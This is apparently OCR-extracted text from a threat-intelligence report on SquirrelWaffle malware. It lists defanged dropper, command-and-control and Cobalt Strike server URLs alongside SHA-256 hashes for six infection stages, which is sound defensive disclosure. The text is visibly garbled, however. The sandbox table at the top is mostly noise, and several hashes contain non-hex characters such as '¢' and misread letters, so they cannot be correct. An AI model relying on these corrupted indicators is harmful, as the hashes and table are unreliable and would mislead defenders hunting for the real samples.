SquirrieWaffle o 20210917 202109-24 o

& / 7 =3

D e 26168 Z00KB 14:13:35 02:31:42 ' ot

pedll malware  invalid-rich-pe-linker-version

SquirreWaffle ; 20210914 202109-24

5165 76

O 5785 | 3T600KB 03:24:69 01:33.28 !

pedll  invalid-rich-pe-finker-version  overlay



|OCs

= Stage 1-2
Dropper Server
hxxps://priyacareers.com
hxxps://perfectdemos.com
hxxps://bussiness-z.ml
hxxps://cablingpoint.com

hxxps://bonus.corporatebusinessmachines.co.in

= Stage 3
CnC Server

hxxp://celulasmadreenmexico.com.mx
hxxp://gerencial.institutoacqua.org.br

hxxp://dashboard.adlytic.ai
hxxp://bussiness-z.ml
hxxp://ifiengineers.com
hxxp://bonusvulkanvegas.srdm.in
hxxp://ebrouteindia.com

hxxp://test.dirigu.ro
hxxp://cablingpoint.com
hxxp://perfectdemos.com
hxxp://afrizam.360cyberlink.com
hxxp://giasuphire.tddvn.com
hxxp://priyacareers.com
hxxp://assurant.360cyberlink.com
hxxp://sig.institutoacqua.org.br

Stage 4 -6

Cobalt Strike Server
hxxps://systemmentorsec.com:8080/jquery-3.3.1.min.js

Sample Hashes

Stage 1: f0a3d4e47b098d302ad13bc4e51a03adeb9428e5¢c34630428222e989792f7a6d
Stage 2: 00d045c¢89934c776a70318a36655dcdd77elfedae0d33c98e301723f323f234c¢
Stage 3: ab05d6335b06a0dbc41386¢7¢356202b4e07dcf76a4932ed4d4e7dd69b7a3101
Stage 4: 3c280f4b81cad773f89dc4882c1cle50ab1255e1975372109b37cf782974e96f
Stage 5: 964c5933844de7ed5a7813cdb36b9974a5a819b046e73a0bc6754d7299374a9f
Stage 6: 804f83a9754cfa2e43f167cc22980bleca2ff11c05029e7ce0a8c2aae524a8b5



